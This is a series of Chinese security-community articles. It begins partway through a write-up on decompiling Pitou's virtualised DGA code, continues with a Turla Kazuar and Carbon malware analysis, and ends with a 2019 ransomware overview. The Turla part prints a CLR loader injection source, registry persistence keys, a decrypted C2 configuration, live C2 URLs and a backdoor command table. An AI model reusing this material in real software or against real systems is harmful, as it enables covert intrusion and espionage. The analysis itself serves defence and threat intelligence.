FFFFF8800587674E PUSH dword (addr(rdx), addr(rdx))
FFFFF88005876750 DREFH dword
FFFFF88005876751 CMP dword
FFFFF88005876752 POPD
▶ CMP DWORD r9d, edx
FFFFF88005876753 NOP
FFFFF88005876754 STATE 1
FFFFF88005876755 IF NOT ZF -> JMP 0xFFFFF88005867CB8
▶ JNZ _addr_FFFFF88005867CB8
FFFFF8800587675F NOP
FFFFF88005876760 PUSH dword (51EB851Fh, 51EB851Fh)
FFFFF88005876765 POP dword rax
▶ MOV DWORD eax, 1374389535
FFFFF88005876767 NOP
FFFFF88005876768 PUSH dword (addr(r9), addr(r9))
FFFFF8800587676A DREFH dword
FFFFF8800587676B PUSH dword (rax, addr(rax))
FFFFF8800587676D IMUL dword
▶ MOV rdx, r9
▶ IMUL DWORD r9d
从上面可以看到，二进制翻译极大地减少了指令的数量。原来的3681条反汇编被压缩成786条x64条指令，减少了约80%。在本文中作为例子使用的代码片段中也可以看到这个过程。反汇编变成的x64汇编代码：
_addr_FFFFF880058766F6:
AND DWORD r8d, r8d
JNZ _addr_FFFFF8800587C8F8
MOV DWORD eax, 1374389535
MOV rdx, r9
IMUL DWORD r9d
SAR DWORD edx, 5
MOV DWORD eax, edx
SHR DWORD eax, 31
ADD DWORD edx, eax
MOV rax, 100
IMUL DWORD edx
MOV DWORD edx, eax
CMP DWORD r9d, edx
JNZ _addr_FFFFF88005867CB8
MOV DWORD eax, 1374389535
MOV rdx, r9
IMUL DWORD r9d
SAR DWORD edx, 7
MOV DWORD eax, edx
SHR DWORD eax, 31
ADD DWORD edx, eax
MOV rax, 400
IMUL DWORD edx
MOV DWORD edx, eax
CMP DWORD r9d, edx
JNZ _addr_FFFFF8800587C8F8
JMP _addr_FFFFF88005867CB8
_addr_FFFFF88005867CB8:
MOV DWORD eax, 1
JMP _addr_FFFFF88005852C11
_addr_FFFFF8800587C8F8:
XOR DWORD eax, eax
JMP _addr_FFFFF88005852C11
上面这段代码的可读性更好。主要缺少的仍然是代码流在图中的表示，以及对占很大部分的优化的整数除法的更好处理。
**步骤2：汇编器**
在第一步中，创建了x64程序集。为了能够使用IDA Pro对其进行分析，首先必须将其转换为可执行文件。为此，我使用了[Netwide Assembler
(NASM)](https://nasm.us/)。只需要对上一节中的代码中的两部分头部进行修改。我将VM从本地上下文中读取的数据复制到数据（ data
）部分，文本（ text） 部分是之前的实际代码。虽然DGA是一个函数，但我直接将它用作二进制文件的入口点。
section .data
data_FFFFF8800589E540 dd 31,28,31,30,31,30,31,31,30,31,30,31
data_FFFFF8800589E570 dd 31,29,31,30,31,30,31,31,30,31,30,31
...
section .text
global _start
Github上的代码已经在运行时添加了这部分：
python3 main.py nasm -o pitou.asm
然后可以用它编译生成目标文件：
nasm -f elf64 pitou.asm
ld pitou.o -o pitou.bin
当然，这使得我们的代码又变成不可读的，因为它现在又是二进制格式的。在我们的例子中如下：
**步骤3： 反汇编器**
上一步中的可执行文件现在可以在IDA中打开进行反汇编。下面是我们的摘录。与第1种方法不同的是，我们有了图形视图和添加注释的可能性。
**步骤4：反编译器**
最后，Hex Rays可以将反汇编程序反编译为C代码。我们例子中代码片段如下：
方法1中很长的反汇编变成了一行C代码，它对应于上面的语句。
年份是闰年么？
你可以使用[Github上的Python脚本](https://github.com/baderj/pitou)自己运行反编译器。
python3 main.py nasm -o pitou.nasm | 社区文章 |
**作者: Yenn_
原文链接: [Wei's Blog](https://0xdf1001f.github.io/2020/11/12/Turla-Kazuar-Backdoor/) **
## 简介
Turla，也被称为Venomous
Bear、Waterbug和Uroboros，是迄今为止最为高级的威胁组织之一，并被认为隶属于俄罗斯政府（该组织成员均说俄语）。虽然该组织被认为至少在2007年就已经成立，但直到2014年它才被卡巴斯基实验室发现。
## Kazuar
### Kazuar backdoor -e888b93f4d5f28699b29271a95ccad55ca937977d442228637ad9a7c037d3a6a4
#### 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
DebugView.exe | 137,728 Byte | BackDoor | 277f2d8e682f7ffc071560f44af4ab41
#### 样本分析
##### 初始化
样本似乎伪造为Windows下的SysInternal套件
[
样本内的类和函数命名都是由两位字符组成
[
设置样本中的异常处理，将异常发送到ThreadException
[
通过字符串“”gGYJ\YwJ1sggs1YBg31GjGg14\dd0d}w}ds4””解密出一串GUID
“169739e7-2112-9514-6a61-d300c0fef02d”
[
根据Gethostid返回的值与13取余，根据余数来决定在哪个文件夹释放创建新文件夹释放文件，在这里取到的路径为“C:\Users\sam\AppData\Local\Microsoft\Network\3DDC94D8”，得到路径后创建文件夹
[
获取计算机信息、解密加载出后续操作使用的内容，并通过前面解密出的”169739e7-2112-9514-6a61-d300c0fef02d”创建一个新GUID
[
创建互斥量，互斥量都是由Username+固定字符串解密内容，根据UserName不同，生成的互斥量也不同，格式为Global\\+生成的与GUID同一格式的内容
[
#####
[Rijndael加密
在文件夹“C:\Users\sam\AppData\Local\Microsoft\Network\3DDC94D8\3F515151”创建文件，写入程序运行的日志，写入的日志由Rijndael加密，KEY值由当前时间计算得出，通过KEY与文件的内容可以解密出样本的日志文件
[
加密：
[
##### 判断样本运行状态
判断样本运行状态，进行不同的操作，主入口点有4种不同的路径：
1. 如果恶意软件是使用“ install”命令行参数执行的，则该参数使用.NET Framwork的InstallHelper方法将恶意软件作为服务安装。
2. 如果恶意软件是在非用户交互环境（没有用户界面）中启动的，则该恶意软件会自己安装为服务。
3. 如果未提供任何参数，并且恶意软件确定其在Windows环境中运行，则会将DLL注入到窗口“Shell_TrayWnd”中，执行DLL中的内容
4. 如果恶意软件是使用“单个”命令行参数执行的，或者恶意软件确定其在Mac或Unix环境中运行，则它将运行包含Kazuar功能代码的方法。
##### 注入到explorer
调试过程中进入了流程3，样本先提权到SeDebugPrivilege权限
[
为Shell_TrayWnd窗口设置WindowsHook，注入DLL到explorer.exe中
[
注入后的explorer.exe
[
##### CLR Runtime Loader
在explorer.exe中注入的DLL实际是一个CLR RUNTIME LOADER，负责加载执行先前样本中的内容
[
类似样本中CLR Runtime Loader的源码，加载CLR Runtime到Target中执行
__declspec(dllexport) HRESULT LoadDNA(_In_ LPCTSTR lpCommand) {
HRESULT hr;
ICLRMetaHost * pMetaHost = NULL;
ICLRRuntimeInfo * pRuntimeInfo = NULL;
ICLRRuntimeHost * pClrRuntimeHost = NULL;
// Load .NET Runtime
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS( & pMetaHost));
hr = pMetaHost - >GetRuntime(L "v4.0.30319", IID_PPV_ARGS( & pRuntimeInfo));
hr = pRuntimeInfo - >GetInterface(CLSID_CLRRuntimeHost, IID_PPV_ARGS( & pClrRuntimeHost));
// Start Runtime
hr = pClrRuntimeHost - >Start();
// Parse Arguments
ClrLoaderArgs args(lpCommand);
// Execute Loaded .NET Code
DWORD pReturnValue;
hr = pClrRuntimeHost - >ExecuteInDefaultAppDomain(
args.pwzAssemblyPath.c_str(),
args.pwzTypeName.c_str(),
args.pwzMethodName.c_str(),
args.pwzArgument.c_str(),
&pReturnValue);
// Release and Free Resources
pMetaHost - >Release();
pRuntimeInfo - >Release();
pClrRuntimeHost - >Release();
// Return .NET Code Result
return hr;
}
加载完成后执行流程又回到了DbgView.exe中,调用了dbgview中的W.s()方法
设置异常处理
[
##### 自启创建
查询当前的进程名是否为被注入的进程，可以看出程序会注入的程序包含“iexplore”,”firefox”,”browser”,”outlook”,”chrome”,”nlnotes”,”notes2”,”opera”,”msimn”
根据查询的结果会创建不同的线程
当注入的不是上述进程时：
与样本最开始相同会查询系统信息，然后尝试持久化操作，但在调试过程中创建自启动没有成功，返回字符串“DISABLE”，尝试的注册表路径
* SOFTWARE\Microsoft\Windows\CurrentVersion\Run
* SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
* SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
* SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load
或尝试添加自启动.lnk到启动目录
##### 远程连接
创建了一个IPC远程通道
“ipc://5728912222233c6860fe9a5a2ae45a7e/d22f298e18a16a3175ea1a78b5419c91”
[
从样本向日志中写入的内容来看，样本将C2下发的命令操作称为”Task”
[
功能还带有注入到其他进程中的功能
当当前进程为“iexplore”,”firefox”,”browser”,”outlook”,”chrome”,”nlnotes”,”notes2”,”opera”,”msimn”时
尝试与C2链接，C2的地址由
“C:\Users\sam\AppData\Local\Microsoft\Network"下文件取出，当文件不存在时，样本还存在default
server
[
解密出的两个Default Server:
[
“<https://www.bombheros.com/wp-content/languages/index.php>"
“<https://www.simplifiedhomesales.com/wp-includes/images/index.php>"
与C2通信支持的协议类型包含”http”.”https”,”ftp”,”ftps”
[
查询窗口，检测抓包软件，包括
“megadumper”,”smartsniff”,”snoopypro”,”wireshark”,”ethereal”,”tcpview”,”tcpdump”,”windump”,”portmon”,”dsniff”,
[
向C2发送HTTP请求,cookie字段为GUID的base64编码，用于标识被感染主机
[
##### 命令执行
[
**Action ID** | **Commands** | **Description**
---|---|---
**1** | log | Logs a specified debug message
**2** | get | Upload files from a specified directory. It appears the actor
can specify which files to upload based on their modified, accessed and
created timestamps as well.
**3** | put | Writes provided data (referred to as ‘payload’) to a specified
file on the system.
**4** | cmd | Executes a specified command and writes the output to a
temporary file. The temporary file is uploaded to the C2 server
**5** | sleep | Trojan sleeps for a specified time
**6** | upgrade | Upgrades the Trojan by changing the current executable’s
file extension to “.old” and writing a newly provided executable in its place
**7** | scrshot | Takes a screenshot of the entire visible screen. The
screenshot is saved to a specified filename or using a filename with the
following format:
[year]-[month]-[day]-[hour]-[minute]-[second]-[milisecond].jpg. The file is
uploaded to the C2 server
**8** | camshot | Creates a Window called “WebCapt” to capture an image from
an attached webcam, which it copies to the clipboard and writes to a specified
file or a file following the same format from the “scrshot” command. The file
is uploaded to the C2 server
**9** | uuid | Sets the unique agent identifier by providing a specific GUID
**10** | interval | Sets the transport intervals, specifically the minimum and
maximum time intervals between C2 communications.
**11** | server | Sets the C2 servers by providing a list of URLs
**12** | transport | Sets the transport processes by providing a list of
processes that Kazuar will inject its code and execute within.
**13** | autorun | Sets the autorun type as discussed earlier in this blog.
Kazuar will accept the following strings for this command: DISABLED, WINLOGON,
POLICIES, HKCURUN, RUNONCE, LOADKEY, STARTUP
**14** | remote | Sets a remote type. We are only aware of one remote type
that instructs Kazuar to act as an HTTP server and allow the threat actor to
interact with the compromised system via inbound HTTP requests.
**15** | info | Gathers system information, specifically information referred
to as: Agent information, System information, User information, Local groups
and members, Installed software, Special folders, Environment variables,
Network adapters, Active network connections, Logical drives, Running
processes and Opened windows
**16** | copy | Copies a specified file to a specified location. Also allows
the C2 to supply a flag to overwrite the destination file if it already
exists.
**17** | move | Moves a specified file to a specified location. Also allows
the C2 to supply a flag to delete the destination file if it exists.
**18** | remove | Deletes a specified file. Allows the C2 to supply a flag to
securely delete a file by overwriting the file with random data before
deleting the file.
**19** | finddir | Find a specified directory and list its files, including
the created and modified timestamps, the size and file path for each of the
files within the directory.
**20** | kill | Kills a process by name or by process identifier (PID)
**21** | tasklisk | List running processes. Uses a WMI query of “select * from
Win32_Process” for a Windows system, but can also running “ps -eo
comm,pid,ppid,user,start,tty,args” to obtain running processes from a Unix
system.
**22** | suicide | We believe this command is meant to uninstall the Trojan,
but it is not currently implemented in the known samples.
**23** | plugin | Installing plugin by loading a provided Assembly, saving it
to a file whose name is the MD5 hash of the Assembly’s name and calling a
method called “Start”.
**24** | plugout | Removes a plugin based on the Assembly’s name.
**25** | pluglist | Gets a list of plugins and if they are “working” or
“stopped”
**26** | run | Runs a specified executable with supplied arguments and saves
its output to a temporary file. The temporary file is up loaded to the C2
server.
##### IOC
“<https://www.bombheros.com/wp-content/languages/index.php>"
“<https://www.simplifiedhomesales.com/wp-includes/images/index.php>"
参考链接：
1.<https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity>
2.<https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/>
3.<https://www.epicturla.com/blog/sysinturla>
### Kazuar - 1f7b35e90b5ddf6bfd110181b1b70487011ab29ca5f942170af7e8393a1da763
伪造为Windows下Sysinternas组件中的DebugView
[
流程与前面Kazuar backdoor -e888b93f4d5f28699b29271a95ccad55ca937977d442228637ad9a7c037d3a6a4相同，不过这次样本使用了ConfuserEX混淆字符串，通过工具可以直接解出明文，而前面样本中使用了自定义的加密方法，在使用字符串时通过解密。
通过工具反混淆后可直接查看明文字符串：
[
同样通过在”Shell_TrayWnd”设置HOOK
[
释放一个DLL文件在%appdata%..\Local\随机名目录下，释放的DLL同样是一个CLR Runtime Loader
在explorer.exe的进程中可以看见.NET Assemblies中CLR下的样本进程
[
释放出的DLL的混淆代码部分，干扰IDA的F5
[
在Explorer.exe中加载MainClass中的EntryPoint
[
判断是否注入在当前进程下：
[
创建IPC通道
[
监听HTTP请求
[
同样的命令执行，26条指令与前面相同
[
#### 总结
样本与Kazuar backdoor
-e888b93f4d5f28699b29271a95ccad55ca937977d442228637ad9a7c037d3a6a4手法一致，在混淆中使用了ConfuserEX，反混淆后可以直接显示明文字符串，在样本e888b93f4d5f28699b29271a95ccad55ca937977d442228637ad9a7c037d3a6a4中则使用了自定义的加密方法，将字符串隐藏。在C2链接过程中，样本并没有设置自己的Default
Server
### Kazuar - 1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa
样本执行流程相同，不使用ConfuserEX混淆字符串，使用自定义的算法混淆，没有C2时使用样本自带的Default C2 Server
[
#### IOC
<https://afci-newsoft.fr/wp-content/stmoptimize/optimize.php>
<https://aviatnetworks.com/wp-includes/images/index.php>
<https://www.citiquartz.com/wp-includes/fonts/icons/>
## Carbon
### Carbon Installer - 493e5fae191950b901764868b065ddddffa4f4c9b4
97022ee2f998b4a94f0fc2
#### 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
| 611,328 Byte | Dropper | a6efd027b121347201a3de769389e6dd
#### 样本分析
样本伪造为Windows系统文件，原始文件名为ESCEBIN.EXE，但是实际上确实一个DLL文件
[
通过调用RegOpenKey对
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows的访问来查询当前是否为管理员权限，当不是管理员的时候会格式化一串字符串“Why the fu*k
not?”，然后退出进程
[
尝试遍历%Systemroot%\inf文件夹下所有.inf文件，查询键名“DestinationDirs”
[
[
判断Windows系统版本
[
格式化字符串
[
遍历C:\Program Files下所有文件，尝试遍历“windowsapps”文件夹，当不存在时会生成一个随机数，从C:\Program
Files下随机取一个文件夹，然后进行创建文件的测试
[
[
读取资源中类型为“BINRARY“，资源名称为“#203”的资源，解密后写入到前面进行写文件测试的文件夹
[
[
修改写入文件的时间为前面获取的explorer的Last Write Time
[
重复上面的操作，从资源中解密出3个DLL文件
[
创建一个名为“Alerter”的自启动服务
[
查询注册表
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost下值“netsvcs”的数据，并用查询到的内容来对比创建的服务“Alerter”是否在其中
[
创建注册表“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Alerter\Parameters”，并添加三项注册表值，将ServiceDLL修改为%System32%下的alrsvc.dll，alrsvc.dll从资源“#161”中解密释放
[
[
修改了注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Alerter\Parameters的ServiceDLL的值为alrsvc.dll，所以在下次服务启动时，会加载起来释放出的alrsvc.dll
### alrsvc.dll
#### 加载调用
注册函数“Service”处理控制请求，创建新线程遍历”C:\Windows\INF\“下所有.inf文件
将前面Carbon Installer 释放的文件移动到文件夹”C:\Program Files\Reference
Assemblies\Microsoft\Framework\v3.0\RedistList”
[
利用当前alrsvc.dll加载其中的sacril.dll，调用函数”OnDemandStart”
[
释放出的四个文件，应该为Carbon主体、两个通讯模块DLL、一个配置文件。Carbon运行中从配置文件解密出配置信息，包括C2地址也在配置文件中。
### sacril.dll
sacril.dll为Carbon的主体文件
创建了大量的互斥体
[
MUTEX |
---|---
Global\StopDeskIntel | Global\StickLowDrop
Global\Open.Locked.Session.MBP | Global\NE_full_block_clone
Global{5279C310-CA22-EAA1-FE49-C3A6A22AFC82} | Global\Central.Orchestrator.E
Global\ViHyperCPrompt |
在前阶段Drop文件的目录“C:\Program Files\Reference
Assemblies\Microsoft\Framework\v3.0\RedistList”下拼接出大量的路径
[
在新建的文件夹\1033下创建一个dbr4as.lte文件，在其中写入日志文件，写入后立马对日志文件进行加密
加密前：
[
加密后：
[
#### 配置文件
在样本执行过程中会将配置文件解密，样本执行的操作都来自于配置文件estdlawf.fes。
* 配置文件中包含object_id，用于识别受害者的唯一uuid
* 注入代码的进程列表（ipproc）
* 任务执行的频率和时间/日志备份呢/与C2链接的时间间隔（[TIME]）
* 网络上其他计算机IP地址（[CW_LOCAL])
* C2服务器地址([CW_INET])
* 用于与其他计算机通信的命名管道（TRANSPORT）
Carbon解密后的的配置文件：
[NAME]
object_id=APCA1lABkYnaL4eoNL07VAAlmu
iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe,browser.exe,nlnotes.exe,notes2.exe,spotify.exe,adobeupdater.exe,adobearm.exe,jusched.exe,thunderbird.exe
ex = #,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe
[TIME]
user_winmin = 2400000
user_winmax = 3600000
sys_winmin = 3600000
sys_winmax = 3700000
task_min = 20000
task_max = 30000
checkmin = 60000
checkmax = 70000
logmin = 60000
logmax = 120000
lastconnect=111
timestop=
active_con = 900000
time2task=3600000
[CW_LOCAL]
quantity = 0
[CW_INET]
quantity = 2
address1 = www.berlinguas.com:443:/wp-content/languages/index.php
address2 = www.balletmaniacs.com:443:/wp-includes/fonts/icons/
[TRANSPORT]
system_pipe = suplexrpc
spstatus = yes
adaptable = no
[RENDEZVOUS_POINT]
quantity = 1
address1 = pastebin.com:443:/raw/5qXBPmAZ
[DHCP]
server = 135
[LOG]
logperiod = 7200
[WORKDATA]
run_task=
run_task_system=
其中可以清晰的发现PIPE名”suplexrpc”与三个地址
[www.berlinguas.com:443:/wp-content/languages/index.php](http://www.berlinguas.com:443/wp-content/languages/index.php)
[www.balletmaniacs.com:443:/wp-includes/fonts/icons/](http://www.balletmaniacs.com:443/wp-includes/fonts/icons/)
pastebin.com:443:/raw/5qXBPmAZ
#### 日志文件
Carbon还包含一个日志文件，日志的格式为日期|时间|受害者id|源|消息
[LOG]
start=1
20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|OPER|New object ID generated '8hTdJtUBB57ieReZAOSgUYacts'|
20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|ST|3/81|0|
20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|START OK
#### 通信
Carabon可以与网络中其他计算机进行通信，下发任务。使用了几种类型的传输协议
TCP、b2m、np、frag、m2b
[
#### 更新
Carbon还为样本提供了持续更新的功能
[
#### 注入
尝试将同时释放出的另两个DLL文件注入到配置文件中的iproc配置项中
在目标进程中创建远线程调用LoadLibrary将DLL加载到目标进程中
[
解密Carbon文件：（来自ESET）
#!/usr/bin/env python2
from Crypto.Cipher import CAST
import sys
import argparse
def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-e", "--encrypt", help="encrypt carbon file", required=False)
parser.add_argument("-d", "--decrypt", help="decrypt carbon file", required=False)
try:
args = parser.parse_args()
except IOError as e:
parser.error(e)
return 0
if len(sys.argv) != 3:
parser.print_help()
return 0
key = "\x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10"
iv = "\x12\x34\x56\x78\x9A\xBC\xDE\xF0"
cipher = CAST.new(key, CAST.MODE_OFB, iv)
if args.encrypt:
plaintext = open(args.encrypt, "rb").read()
while len(plaintext) % 8 != 0:
plaintext += "\x00"
data = cipher.encrypt(plaintext)
open(args.encrypt + "_encrypted", "wb").write(data)
else:
ciphertext = open(args.decrypt, "rb").read()
while len(ciphertext) % 8 != 0:
ciphertext += "\x00"
data = cipher.decrypt(ciphertext)
open(args.decrypt + "_decrypted", "wb").write(data)
if __name__ == "__main__":
main()
* * * | 社区文章 |
# 2019年全球十大流行勒索病毒
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源： 安全分析与研究
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1575516757&ver=2015&signature=9D5J31eqribowEyioHzW57nt4cOB-EmoQXll4ZFvBzXqYEo57hKCE0pXYeEB1lSqTaOhqrloGBOF2eVCd5zE*BF3ZXcnBioAADczCYtiGdDgzUdvUzdmklnMPBd-RvLG&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1575516757&ver=2015&signature=9D5J31eqribowEyioHzW57nt4cOB-EmoQXll4ZFvBzXqYEo57hKCE0pXYeEB1lSqTaOhqrloGBOF2eVCd5zE*BF3ZXcnBioAADczCYtiGdDgzUdvUzdmklnMPBd-RvLG&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
2019年应该是勒索病毒针对企业攻击爆发的一年，这一年全球各地仿佛都在被“勒索”，每天全球各地都有不同的政府、企业、组织机构被勒索病毒攻击的新闻被曝光，勒索病毒已经成为了网络安全最大的威胁，利用勒索病毒进行攻击的网络犯罪活动也是全球危害最大的网络犯罪组织活动，勒索病毒成为了地下黑客论坛最流行、讨论最热门的恶意软件，下面我们来盘点一下2019年全球十大流行勒索病毒家族
## 1.STOP勒索病毒
STOP勒索病毒最早出现在2018年2月份左右，从2018年8月份开始在全球范围内活跃，主要通过捆绑其它破解软件、广告类软件包等渠道进行感染传播，最近一两年STOP勒索病毒捆绑过KMS激活工具进行传播，甚至还捆绑过其他防毒软件，到目前为止，此勒索病毒一共有160多个变种，虽然此前Emsisoft公司已经发布过它的解密工具，可以解密140多个变种，但最新的一批STOP勒索病毒仍然无法解密，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 2.GandCrab勒索病毒
GandCrab勒索病毒于2018年1月首次被观察到感染了韩国公司，随后GandCrab在全球迅速扩大，包括2018年初的美国受害者，至少8个关键基础设施部门受到此勒索病毒的影响，GandCrab也迅速成为最流行的勒索病毒，估计到2018年中期该勒索病毒已经占据勒索软件市场份额的50％，专家估计GandCrab在全球范围内感染了超过500,000名受害者，造成超过3亿美元的损失，GandCrab使用勒索软件即服务（RaaS）商业模式运营，通过将恶意软件分发给购买勒索病毒服务的合作伙伴，以换取40％的赎金，从2018年1月到2019年6月，此勒索病毒多现了多个不同的变种版本，2019年1月，此勒索病毒GandCrab5.1变种版本开始在全球流行，直到2019年6月1日，GandCrab勒索病毒运营团队宣布关闭他们的网站，并声称他们已经赚了20亿美元赎金,两周之后，Bitdefender与欧州刑警组织、联帮调查局、众多执法部门以及NoMoreRansom机构合作，发布了GandCrab勒索病毒的解密工具，可以适用于GandCrab1.0、4.0、5、5.2等版本，此勒索病毒的故事就此结束，加密后的文件，如下所示：
勒索提示信息，如下所示：
最近半年确实没有发现这款勒索病毒的最新变种了，取而代之的是另一款新型的勒索病毒REvil/Sodinokibi，而且这款勒索病毒全版本的解密工具也已经公布了
## 3.REvil/Sodinokibi勒索病毒
Sodinokibi勒索病毒(也称REvil)，2019年5月24日首次在意大利被发现，在意大利被发现使用RDP攻击的方式进行传播感染，这款病毒被称为GandCrab勒索病毒的接班人，在短短几个月的时间内，已经在全球大范围传播，这款勒索病毒与GandCrab勒索软件存在很多关联，国外安全研究人员此前已发布了多篇关于这两款勒索病毒关联信息的相关的报道，Sodinokibi勒索病毒也是一种勒索即服务(RAAS)的模式进行分发和营销的，并采用了一些免杀技术避免安全软件检测到，主要通过Oracle
WebLogic漏洞、Flash
UAF漏洞、网络钓鱼邮件、RDP端口、漏洞利用工具包以及攻击一些托管服务提供商MSP等方式发起攻击，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 4.Globelmposter勒索病毒
Globelmposter勒索病毒首次出现是在2017年5月份，主要通过钓鱼邮件进行传播，2018年2月国内各大医院爆发Globelmposter变种样本2.0版本，通过溯源分析发现此勒索病毒可能是通过RDP爆破、社会工程等方式进行传播，此勒索病毒采用RSA2048加密算法，导致加密后的文件无法解密，在随后的一年多的时间里，这款勒索病毒不断变种，2018年8月份出现了此勒索病毒的“十二生肖”版，2019年7月出现了此勒索病毒的“十二主神”版，两大版相差正好一年的时间，“十二主神”版后面又出现了一些小的版本变化，主要是加密后的文件后缀出现了一些微小的变化，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 5.CrySiS/Dharma勒索病毒
CrySiS勒索病毒，又称Dharma，首次出现是在2016年，2017年5月此勒索病毒万能密钥被公布之后，之前的样本可以解密，导致此勒索病毒曾消失了一段时间，不过随后又马上出现了它的一款最新的变种样本，加密后缀为java，通过RDP暴力破解的方式进入受害者服务器进行加密勒索，此勒索病毒加密算法采用AES+RSA方式进行加密，导致加密后的文件无法解密，在最近一年的时间里，这款勒索病毒异常活跃，变种已经达到一百多个，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 6.Phobos勒索病毒
Phobos勒索病毒在2019年非常活跃，此勒索病毒首次出现是在2018年12月，国外安全研究人员当时发现了一种新型勒索病毒，加密后的文件后缀名为Phobos，这款新型的勒索病毒与CrySiS(Dharma)勒索病毒有很多相似之处，同样使用RDP暴力破解的方式进传播，两者使用了非常相似的勒索提示信息，所以很容易搞混淆，想要确认是哪个家族的勒索病毒，最好的方式就是捕获到相应的样本，然后通过人工分析进行确认，单纯的通过勒索提示信息，很难辨别，两款勒索病毒背后是否是相同的黑客团伙在运营，需要捕获到更多的证据，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 7.Ryuk勒索病毒
Ryuk勒索病毒最早于2018年8月被首次发现，它是由俄罗斯黑客团伙GrimSpider幕后操作运营，GrimSpider是一个网络犯罪集团，使用Ryuk勒索软件对大型企业及组织进行针对性攻击，C.R.A.M.
TG
Soft(反恶意软件研究中心)发现Ryuk勒索软件主要是通过网络攻击手段利用其他恶意软件如Emotet或TrickBot等银行木马进行传播，Emotet和TrickBot银行木马主要用于盗取受害者银行网站登录凭据，同时充当下载器功能，提供下载其它勒索病毒服务，为啥Emotet和TrickBot银行木马会传播Ryuk勒索病毒，因为TrickBot银行木马传播渠道的运营者是俄罗斯黑客团伙WIZARD
SPIDER，GRIM SPIDER是俄罗斯黑客团伙WIZARD SPIDER的部门之一，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 8.Maze(迷宫)勒索病毒
Maze（迷宫）勒索病毒，又称Chacha勒索病毒，最早于2019年5月份由Malwarebytes安全研究员首次发现，此勒索病毒主要使用各种漏洞利用工具包Fallout、Spelevo，伪装成合法加密货币交换应用程序的假冒站点或挂马网站等方式进行分发传播，最近的一段时间里，Proofpoint的安全研究人员发现一个新型的黑客组织TA2101，通过垃圾邮件的方式对德国、意大利、美国发起网络攻击，传播Maze(迷宫)勒索病毒，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
## 9.Buran勒索病毒
Buran勒索病毒首次出现在2019年5月，是一款新型的基于RaaS模式进行传播的新型勒索病毒，在一个著名的俄罗斯论坛中进行销售，与其他基于RaaS勒索病毒(如GandCrab)获得30%-40%的收入不同，Buran勒索病毒的作者仅占感染产生的25%的收入,安全研究人员认为Buran是Jumper勒索病毒的变种样本，同时VegaLocker勒索病毒是该家族最初的起源，由于其丰厚的利润，使其迅速开始在全球范围内传播感染，Buran勒索病毒此前使用RIG
Exploit Kit漏洞利用工具包进行传播，其利用了Internet
Explorer的一个比较严重的漏洞CVE-2018-8174，近期发现此勒索病毒利用IQY(Microsoft Excel
Web查询文件)进行传播，此勒索病毒加密后的文件，如下所示：
勒索病毒信息，如下所示：
## 10.MegaCortex勒索病毒
MegeCortex勒索病毒最早于2019年1月份被人在VT上发现，当时有人在VT上传了一个恶意样本，英国网络安全公司Sophos在5月份发布了一个关于MegaCortex勒索病毒的相关分析报告，笔者此前在分析的时候发现此勒索病毒早期的版本与去年非常流行的SamSam勒索病毒有一些类似，都使用了BAT脚本，同时都使用了密码参数，两款勒索病毒的负载加载的手法类似，不过暂时还没有更多的证据，证明两款勒索病毒存在关联，MegaCortex勒索病毒从1月份被人上传到VT之后，网络安全公司Sophos监控到此勒索病毒的数量一直在增加，并对此勒索病毒进行了详细的分析报道，该勒索病毒曾经对欧州和北美多个行业发起过勒索攻击，并要求支付高额的赎金，美国、加拿大、荷兰、爱尔兰、意大利和法国等国家的一些企业网络都曾受到此勒索病毒的攻击，2019年8月，发现MegaCortex勒索病毒V2.0版本，重新设计了负载的运行过程，它会自动执行不需要安装密码的要求，作者将密码硬编码在了二进制文件中，同时作者还加入一些反分析，以及阻止和杀死各种安全产品和服务的功能，此过程在之前的版本中是通过在在每个受害者主机上手动执行相关的批处理脚本来完成的，最新的版本不需要手动执行，都封装在了二进制程序中，此勒索病毒加密后的文件，如下所示：
勒索提示信息，如下所示：
全球这些主流的勒索病毒笔者都曾详细跟踪并研究过，相关的报告可以查看之前的文章，2019年下半年又出现了一些新型的勒索病毒，比方NEMTY勒索病毒、EvaRichter(GermanWiper)勒索病毒等，这几款新型的勒索病毒主要在国外比较流行，目前发现的大部分流行的勒索病毒暂时无法解密，重点在防御，针对勒索病毒的一般防范措施，笔者总结了以下几条建议，仅供参考：
1、及时给电脑打补丁，修复漏洞
2、谨慎打开来历不明的邮件，点击其中链接或下载附件，防止网络挂马和邮件附件攻击
3、尽量不要点击office宏运行提示，避免来自office组件的病毒感染
